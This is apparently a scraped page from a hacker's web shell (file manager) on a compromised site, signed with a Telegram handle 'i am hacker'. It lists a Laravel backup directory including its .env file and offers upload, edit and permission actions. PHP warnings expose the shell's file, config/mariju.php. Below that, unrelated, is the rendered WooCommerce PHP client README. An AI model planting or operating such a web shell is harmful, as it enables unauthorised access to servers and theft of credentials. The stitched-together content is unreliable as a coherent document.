telegram : @iamdarkcomedy i am hacker
path :/home/bisorgosof24/public_html/Backup23122024
upload file:
List of files:
name file |
size |
edit |
permission |
action |
.env | 2733 KB | December 22 2024 06:20:07 | 0644 |
|
404.html | 58370 KB | November 20 2024 15:32:22 | 0644 |
|
502.html | 58368 KB | November 20 2024 15:32:22 | 0644 |
|
Modules | - | December 11 2024 21:02:56 | 0755 |
|
README.md | 4158 KB | February 14 2023 12:31:56 | 0644 |
|
app | - | December 11 2024 17:57:48 | 0755 |
|
artisan | 1686 KB | February 14 2023 12:31:56 | 0644 |
|
bootstrap | - | December 11 2024 20:23:36 | 0755 |
|
composer.json | 3761 KB | December 11 2024 22:15:00 | 0644 |
|
composer.lock | 512048 KB | December 11 2024 22:13:28 | 0644 |
|
config | - | June 15 2025 02:09:36 | 0755 |
|
database | - | December 05 2024 20:18:12 | 0755 |
|
dfsdf dfds fd fds findex.html | 1420 KB | November 20 2024 15:32:24 | 0644 |
|
error_log | 15393998 KB | July 18 2025 17:07:08 | 0644 |
|
firoz | - | December 23 2024 13:24:46 | 0755 |
|
index.php | 1667 KB | December 14 2024 05:20:36 | 0644 |
|
lang | - | December 11 2024 21:02:48 | 0755 |
|
modules_statuses.json | 472 KB | November 20 2024 15:32:24 | 0644 |
|
mpos | - | March 31 2025 02:36:31 | 0755 |
|
package.json | 226 KB | February 14 2023 12:31:56 | 0644 |
|
phpunit.xml | 1146 KB | February 14 2023 12:31:56 | 0644 |
|
public | - | March 31 2025 02:36:31 | 0755 |
|
resources | - | December 11 2024 21:10:22 | 0755 |
|
routes | - | June 15 2025 02:09:31 | 0755 |
|
storage | - | December 11 2024 21:12:44 | 0755 |
|
tests | - | December 05 2024 20:18:12 | 0755 |
|
vendor | - | December 11 2024 22:13:30 | 0755 |
|
vite.config.js | 263 KB | February 14 2023 12:31:56 | 0644 |
|
Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 227
Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 228
Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 229
Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 230
# WooCommerce API - PHP Client
A PHP wrapper for the WooCommerce REST API. Easily interact with the WooCommerce REST API securely using this library. If using a HTTPS connection this library uses BasicAuth, else it uses Oauth to provide a secure connection to WooCommerce.
[](https://github.com/woocommerce/wc-api-php/actions/workflows/ci.yml)
[](https://scrutinizer-ci.com/g/woocommerce/wc-api-php/?branch=master)
[](https://packagist.org/packages/automattic/woocommerce)
## Installation
```
composer require automattic/woocommerce
```
## Getting started
Generate API credentials (Consumer Key & Consumer Secret) following this instructions
.
Check out the WooCommerce API endpoints and data that can be manipulated in .
## Setup
Setup for the new WP REST API integration (WooCommerce 2.6 or later):
```php
require __DIR__ . '/vendor/autoload.php';
use Automattic\WooCommerce\Client;
$woocommerce = new Client(
'http://example.com',
'ck_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',
'cs_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',
[
'version' => 'wc/v3',
]
);
```
## Client class
```php
$woocommerce = new Client($url, $consumer_key, $consumer_secret, $options);
```
### Options
| Option | Type | Required | Description |
| ----------------- | -------- | -------- | ------------------------------------------ |
| `url` | `string` | yes | Your Store URL, example: http://woo.dev/ |
| `consumer_key` | `string` | yes | Your API consumer key |
| `consumer_secret` | `string` | yes | Your API consumer secret |
| `options` | `array` | no | Extra arguments (see client options table) |
#### Client options
| Option | Type | Required | Description |
| ------------------------ | -------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `version` | `string` | no | API version, default is `wc/v3` |
| `timeout` | `int` | no | Request timeout, default is `15` |
| `verify_ssl` | `bool` | no | Verify SSL when connect, use this option as `false` when need to test with self-signed certificates, default is `true` |
| `follow_redirects` | `bool` | no | Allow the API call to follow redirects |
| `query_string_auth` | `bool` | no | Force Basic Authentication as query string when `true` and using under HTTPS, default is `false` |
| `oauth_timestamp` | `string` | no | Custom oAuth timestamp, default is `time()` |
| `oauth_only` | `bool` | no | Only use oauth for requests, it will disable Basic Auth, default is `false` |
| `user_agent` | `string` | no | Custom user-agent, default is `WooCommerce API Client-PHP` |
| `wp_api_prefix` | `string` | no | Custom WP REST API URL prefix, used to support custom prefixes created with the `rest_url_prefix` filter |
| `wp_api` | `bool` | no | Set to `false` in order to use the legacy WooCommerce REST API (deprecated and not recommended) |
| `method_override_query` | `bool` | no | If true will mask all non-GET/POST methods by using POST method with added query parameter `?_method=METHOD` into URL |
| `method_override_header` | `bool` | no | If true will mask all non-GET/POST methods (PUT/DELETE/etc.) by using POST method with added `X-HTTP-Method-Override: METHOD` HTTP header into request |
## Client methods
### GET
```php
$woocommerce->get($endpoint, $parameters = []);
```
### POST
```php
$woocommerce->post($endpoint, $data);
```
### PUT
```php
$woocommerce->put($endpoint, $data);
```
### DELETE
```php
$woocommerce->delete($endpoint, $parameters = []);
```
### OPTIONS
```php
$woocommerce->options($endpoint);
```
#### Arguments
| Params | Type | Description |
| ------------ | -------- | ------------------------------------------------------------ |
| `endpoint` | `string` | WooCommerce API endpoint, example: `customers` or `order/12` |
| `data` | `array` | Only for POST and PUT, data that will be converted to JSON |
| `parameters` | `array` | Only for GET and DELETE, request query string |
#### Response
All methods will return arrays on success or throwing `HttpClientException` errors on failure.
```php
use Automattic\WooCommerce\HttpClient\HttpClientException;
try {
// Array of response results.
$results = $woocommerce->get('customers');
// Example: ['customers' => [[ 'id' => 8, 'created_at' => '2015-05-06T17:43:51Z', 'email' => ...
echo '' . print_r($results, true) . '
'; // JSON output.
// Last request data.
$lastRequest = $woocommerce->http->getRequest();
echo '' . print_r($lastRequest->getUrl(), true) . '
'; // Requested URL (string).
echo '' .
print_r($lastRequest->getMethod(), true) .
'
'; // Request method (string).
echo '' .
print_r($lastRequest->getParameters(), true) .
'
'; // Request parameters (array).
echo '' .
print_r($lastRequest->getHeaders(), true) .
'
'; // Request headers (array).
echo '' . print_r($lastRequest->getBody(), true) . '
'; // Request body (JSON).
// Last response data.
$lastResponse = $woocommerce->http->getResponse();
echo '' . print_r($lastResponse->getCode(), true) . '
'; // Response code (int).
echo '' .
print_r($lastResponse->getHeaders(), true) .
'
'; // Response headers (array).
echo '' . print_r($lastResponse->getBody(), true) . '
'; // Response body (JSON).
} catch (HttpClientException $e) {
echo '' . print_r($e->getMessage(), true) . '
'; // Error message.
echo '' . print_r($e->getRequest(), true) . '
'; // Last request data.
echo '' . print_r($e->getResponse(), true) . '
'; // Last response data.
}
```
## Release History
- 2022-03-18 - 3.1.0 - Added new options to support `_method` and `X-HTTP-Method-Override` from WP, supports 7+, dropped support to PHP 5.
- 2019-01-16 - 3.0.0 - Legacy API turned off by default, and improved JSON error handler.
- 2018-03-29 - 2.0.1 - Fixed fatal errors on `lookForErrors`.
- 2018-01-12 - 2.0.0 - Responses changes from arrays to `stdClass` objects. Added `follow_redirects` option.
- 2017-06-06 - 1.3.0 - Remove BOM before decoding and added support for multi-dimensional arrays for oAuth1.0a.
- 2017-03-15 - 1.2.0 - Added `user_agent` option.
- 2016-12-14 - 1.1.4 - Fixed WordPress 4.7 compatibility.
- 2016-10-26 - 1.1.3 - Allow set `oauth_timestamp` and improved how is handled the response headers.
- 2016-09-30 - 1.1.2 - Added `wp_api_prefix` option to allow custom WP REST API URL prefix.
- 2016-05-10 - 1.1.1 - Fixed oAuth and error handler for WP REST API.
- 2016-05-09 - 1.1.0 - Added support for WP REST API, added method `Automattic\WooCommerce\Client::options` and fixed multiple headers responses.
- 2016-01-25 - 1.0.2 - Fixed an error when getting data containing non-latin characters.
- 2016-01-21 - 1.0.1 - Sort all oAuth parameters before build request URLs.
- 2016-01-11 - 1.0.0 - Stable release.